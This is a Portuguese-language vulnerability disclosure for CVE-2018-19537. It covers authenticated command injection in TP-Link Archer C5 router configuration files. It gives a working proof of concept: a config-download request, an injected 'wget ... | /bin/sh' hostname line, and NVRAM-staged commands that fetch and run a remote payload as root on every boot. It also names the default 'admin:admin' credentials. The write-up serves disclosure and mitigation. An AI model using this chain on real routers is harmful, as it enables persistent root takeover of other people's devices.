
CVE-2018-19537
Existe uma vulnerabilidade de execução remota de código (RCE) autenticada em todas as versões de firmware publicadas para o roteador TP-Link Archer C5. Ao fazer upload de um arquivo de configuração maliciosamente criado, um atacante pode injetar comandos do SO que são executados com privilégios de root.
O roteador Archer C5 permite que usuários administrativos salvem os parâmetros de configuração atuais em um arquivo e restaurem parâmetros a partir de um arquivo. Esses parâmetros parecem ser devidamente higienizados quando um usuário tenta defini-los na interface web. No entanto, eles não são devidamente higienizados quando definidos a partir de um arquivo de configuração. Em particular, injetamos comandos do SO através do parâmetro wan_dyn_hostname 1 <name> dentro do arquivo de configuração enviado. Outros parâmetros também podem ser vulneráveis.
Um arquivo de configuração válido pode ser baixado do menu “Backup & Restore” na interface web do roteador. A seguinte requisição HTTP fará o download de um backup da configuração atual do roteador:
GET /userRpm/config.bin HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux ia64; rv:60.0) Foxfire/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm
Cookie: Authorization=Basic%20YWRtaW46cGFzc3dvcmQ%3D
Connection: close
Upgrade-Insecure-Requests: 1
A resposta contém o arquivo “config.bin”, que é o arquivo de configuração com o qual iremos adulterar.
Os arquivos de configuração são ofuscados por criptografia DES com uma chave fixa embutida. Esta chave fixa parece ser reutilizada em vários produtos TP-Link. Créditos a Matteo Croce por descobrir o valor desta chave fixa. http://teknoraver.net/software/hacks/tplink/
Dois scripts python simples estão anexados para criptografar e descriptografar arquivos de configuração - “binify.py” e “unbinify.py” respectivamente. Um arquivo de configuração descriptografado terá parâmetros como estes:
wan_dns_auto 2 0
wan_dyn_mtu 1 1500
wan_dyn_mtu 2 0
wan_dyn_ucst 1 0
wan_dyn_ucst 2 0
wan_dyn_hostname 1 Archer_C5
wan_stc_ip 1 0.0.0.0
wan_stc_ip 2 0.0.0.0
wan_stc_msk 1 0.0.0.0
Podemos adulterar este arquivo de configuração descriptografado adicionando um comando BusyBox malicioso ao parâmetro “wan_dyn_hostname”, da seguinte forma:
wan_dyn_hostname 1 `wget -O - http://bad.url/hack | /bin/sh`
Em seguida, criptografamos o novo arquivo de configuração malicioso e o enviamos através da interface web. O roteador será reinicializado automaticamente. No início do processo de inicialização, quando o programa httpd é executado, nosso comando BusyBox malicioso é executado. O pseudocódigo da parte relevante do httpd é algo como:
char hostname[64];
char to_run[256];
memcpy(hostname, some_value_somewhere, 63);
snprintf(to_run, 256, "udhcpc -h %s -i eth0", hostname)
system(to_run);
// Continue setting up network interfaces and connectivity
Existem várias limitações para este exploit, mesmo além da limitação de ter que usar BusyBox. O servidor SSH Dropbear e o telnetd parecem não funcionar na rede sem fio, e o hostname é limitado pelo firmware a 63 caracteres. Exceder esse limite sobrescreve outras configurações e quebra o acesso à internet. Além disso, o httpd deve retornar da chamada system() antes de realmente ter qualquer conectividade de rede (já que a chamada system() que estamos explorando é a que solicita nosso IP WAN), e o sistema de arquivos raiz é somente leitura. O exemplo de comando malicioso acima não funcionaria; o httpd falharia ao fazer wget da URL, pois ainda não tem acesso à internet, retornaria da chamada system() e então continuaria operando normalmente.
Então, neste ponto, podemos executar um comando BusyBox de 63 caracteres, em um sistema de arquivos somente leitura, sem uma maneira trivial de fazer o programa esperar até que termine de configurar a conectividade de rede antes de executar nosso comando. Não podemos simplesmente mandá-lo dormir por alguns minutos e depois executar, porque a chamada system() na qual injetamos está bloqueando a execução.
Uma coisa que podemos fazer, no entanto, é iniciar outra instância do httpd neste ponto da execução. Esta instância do httpd também executará esta chamada system(), o que nos deixa em um loop que gerará continuamente mais instâncias do httpd, mas permitirá que os processos httpd pai continuem executando e, por fim, restaurem a conectividade de rede. Para evitar ficar sem memória, encerramos este loop verificando se nosso exploit foi baixado.
Trabalhando dentro das limitações acima, criamos o seguinte script shell, que baixa um arquivo da internet com wget e o envia diretamente para /bin/sh.
cd /tmp
if [ ! -f B ]; then
httpd &
sleep 15
wget http://jackdoan.com/B
/bin/sh B
fi
Ou, em uma linha, minificado:
cd /tmp; if [ ! -f B ]; then (httpd & sleep 15; wget http://jackdoan.com/B; /bin/sh B) fi
Este script tem enormes 89 caracteres, então precisamos enviá-lo em partes. Mas como? Enviar um comando causa uma reinicialização, e uma reinicialização atualiza o estado do roteador. Percebemos que poderíamos criar nossa própria variável NVRAM e referenciá-la em comandos subsequentes para construir um comando que eventualmente executamos.
Usamos a vulnerabilidade para injetar os seguintes comandos e construir um exploit:
; nvram set "a=cd /tmp; if [ ! -f B ]; then (htt";nvram commit
; nvram set "a=`nvram get a`pd & sleep 15; wget";nvram commit
; nvram set "a=`nvram get a` http://jackdoan.co";nvram commit
; nvram set "a=`nvram get a`m/B; /bin/sh B) fi"; nvram commit
E finalmente, acione o exploit definindo o hostname como:
; udhcpc; nvram get a | /bin/sh ;
Este script armazenado na NVRAM do roteador será executado em cada inicialização, e o roteador parecerá continuar funcionando normalmente. O resultado final é que o roteador se conectará à internet, baixará um arquivo e o executará como root toda vez que inicializar.
Conforme demonstrado, esta vulnerabilidade pode ser explorada para fazer o roteador se conectar à internet, capturar um payload e executá-lo com privilégios de root. Portanto, há alto impacto na confidencialidade, integridade e disponibilidade do dispositivo.
O processo de injetar um comando através do parâmetro wan_dyn_hostname do arquivo de configuração é simples. Escapar das limitações deste comando para executar qualquer payload arbitrário sem interromper a funcionalidade normal do roteador é moderadamente complexo.
Este ataque é moderadamente visível, pois requer pelo menos uma reinicialização do dispositivo. Nossa POC requer 5 reinicializações sucessivas, mas persiste até que o dispositivo seja restaurado para as configurações de fábrica.
Esta vulnerabilidade pode ser explorada por qualquer pessoa com acesso à conta de administração web. Assim, com a configuração padrão do roteador, isso pode ser explorado via conectividade LAN / WLAN com as credenciais de administrador padrão “admin:admin”. Esta vulnerabilidade pode ser explorada remotamente pela internet, se o gerenciamento remoto estiver habilitado. O gerenciamento remoto está desabilitado por padrão.
Esta vulnerabilidade é relativamente simples, levando-nos a acreditar que provavelmente já foi encontrada e explorada antes. A defesa contra este ataque também é incrivelmente simples: não use a senha administrativa padrão. Uma senha forte para a conta administrativa web impedirá este ataque. Por ser tão fácil de explorar e também tão fácil de mitigar, acreditamos que a divulgação completa é do melhor interesse do público.
Para nossa PoC, injetamos através do parâmetro “wan_dyn_hostname”. No entanto, o arquivo de configuração contém 1190 parâmetros no total, muitos dos quais podem ser injetáveis.